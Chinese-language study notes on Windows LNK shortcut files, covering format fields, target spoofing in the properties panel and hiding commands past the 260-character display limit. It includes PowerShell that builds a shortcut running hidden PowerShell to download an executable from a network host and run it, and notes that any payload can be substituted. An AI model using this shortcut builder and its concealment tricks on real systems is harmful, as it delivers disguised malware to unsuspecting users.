LNK文件分析学习-1
介绍
LNK是Microsoft Windows用于指向可执行文件或应用程序的快捷方式文件的文件扩展名。LNK文件通常用于创建开始菜单和桌面快捷方式。
Lnk文件格式
较详细的分析可以参考:https://bbs.kanxue.com/thread-260953.htm#msg_header_h2_1
可以关注的项有:
CreationTime、AccessTime、WriteTime、sLinkInfo、RELATIVE_PATH、WORKING_DIR、ICON_LOCATION
LNK文件基本分析
属性栏信息欺骗:
这里假装notepad.exe是链接文件名表达的原本调用的程序(正常程序),cmd.exe为实际执行的恶意程序。这里我们可以通过修改lnk文件的文件选项达到将恶意程序名修改为notepad.exe的效果,即在属性面板里的目标里显示的是执行notepad.exe,但实际执行的是cmd.exe。
点击该链接后:
字符长度欺骗:
快捷方式>目标的最大长度只有260个字符。任何超过这个长度的东西都是不可见的。但是,命令行参数的最大长度是4096个字符,我们可以在执行的命令行中插入空格,超过目标字段展示的260字符的长度,之后则无法在上面的窗口中看到整个命令。
$file = Get-Content "C:\Users\zw1sh\Desktop\zwish.txt"
$WshShell = New-Object -comObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut("C:\Users\zw1sh\Desktop\zwish.lnk")
$Shortcut.TargetPath = "%SystemRoot%/system32/cmd.exe"
$Shortcut.IconLocation = "%SystemRoot%/System32/Shell32.dll,21"
$Shortcut.Arguments = ' '+ $file
$Shortcut.Save()
$WshShell = New-Object -comObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut("test.lnk")
$Shortcut.TargetPath = "%SystemRoot%\system32\cmd.exe"
$Shortcut.IconLocation = "%SystemRoot%\System32\Shell32.dll,21"
$Shortcut.Arguments = "cmd /c powershell.exe -nop -w hidden -c IEX (new-object net.webclient).DownloadFile('http://192.168.1.7:8000/ascotbe.exe','.\\ascotbe.exe');&cmd /c .\\ascotbe.exe"
$Shortcut.Save()
LEcmd工具分析:
https://ericzimmerman.github.io/#!index.md
同理,只需要把上述执行的命令换成payload即可利用。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 全程不用写代码,我用AI程序员写了一个飞机大战
· DeepSeek 开源周回顾「GitHub 热点速览」
· 记一次.NET内存居高不下排查解决与启示
· 物流快递公司核心技术能力-地址解析分单基础技术分享
· .NET 10首个预览版发布:重大改进与新特性概览!